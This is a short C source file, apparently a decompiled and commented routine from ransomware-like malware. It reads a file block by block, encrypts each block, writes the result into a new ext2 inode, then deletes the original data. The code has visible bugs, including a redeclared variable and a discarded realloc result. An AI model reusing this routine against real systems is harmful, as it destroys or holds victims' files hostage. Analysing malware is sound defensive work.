73 lines
2.6 KiB
C
73 lines
2.6 KiB
C
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int64_t encrypt_file(char* name)
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{
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return encrypt_file2(name);
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}
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int64_t encrypt_file2(char* name)
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{
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int32_t inode = 0;
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int32_t len_read = 0;
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uint64_t blocksize = ((uint64_t)fs->blocksize);
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void* block = xcalloc(1, blocksize); // Allocate data for encrypted block
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int64_t fd = get_size(name); // Get the file size
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if (fd != 0)
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{
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fd = open(name, 2); // Open the file
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int32_t fd = fd;
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if (fd != 0xffffffff)
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{
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if (inode == 0)
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// Create an inode for the encrypted file
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ext2fs_new_inode(fs, 0, 0x41ed, 0, &inode);
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ext2fs_inode_alloc_stats2(fs, ((uint64_t)inode), 1, 1);
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char stop = 0;
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int64_t nb_blocks = 1;
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uint64_t* blocks = xcalloc(1, 0x10);
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do
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{
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// Fill the block with file data
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if (fill_block(fd, block, blocksize, &len_read) == 0)
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break;
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// Determine if another block is needed to encrypt the file
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int32_t n_blocks = len_read / 0x1000;
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if (len_read % 0x1000 != 0)
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stop = 1;
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// Encrypt the block
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encrypt_block(block, ((int64_t)len_read));
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// Write encrypted block to the filesystem
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int64_t new_block = write_block(block, ((uint64_t)fs->blocksize), inode);
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// Some stuff I did not bother to understand
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// probably setting up recursive blocks for big files
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// or preparing new empty blocks for the file that must be
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// emptied
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// but I do not know nor does it really matter for now
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if (blocks[((nb_blocks - 1) * 2)] == 0)
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{
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blocks[((nb_blocks - 1) * 2)] = new_block;
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blocks[(((nb_blocks - 1) * 2) + 1)] = new_block;
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}
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else if ((blocks[(((nb_blocks - 1) * 2) + 1)] + 1) != new_block)
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{
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nb_blocks = (nb_blocks + 1);
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realloc(blocks, (nb_blocks << 4));
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blocks[((nb_blocks - 1) * 2)] = new_block;
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blocks[(((nb_blocks - 1) * 2) + 1)] = new_block;
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}
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else
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blocks[(((nb_blocks - 1) * 2) + 1)] = new_block;
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memset(block, 0, ((uint64_t)fs->blocksize));
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} while ((stop & 1) == 0);
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// Remove data from the original file
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fd = delete_data(name, nb_blocks, blocks);
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}
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}
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return fd;
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}
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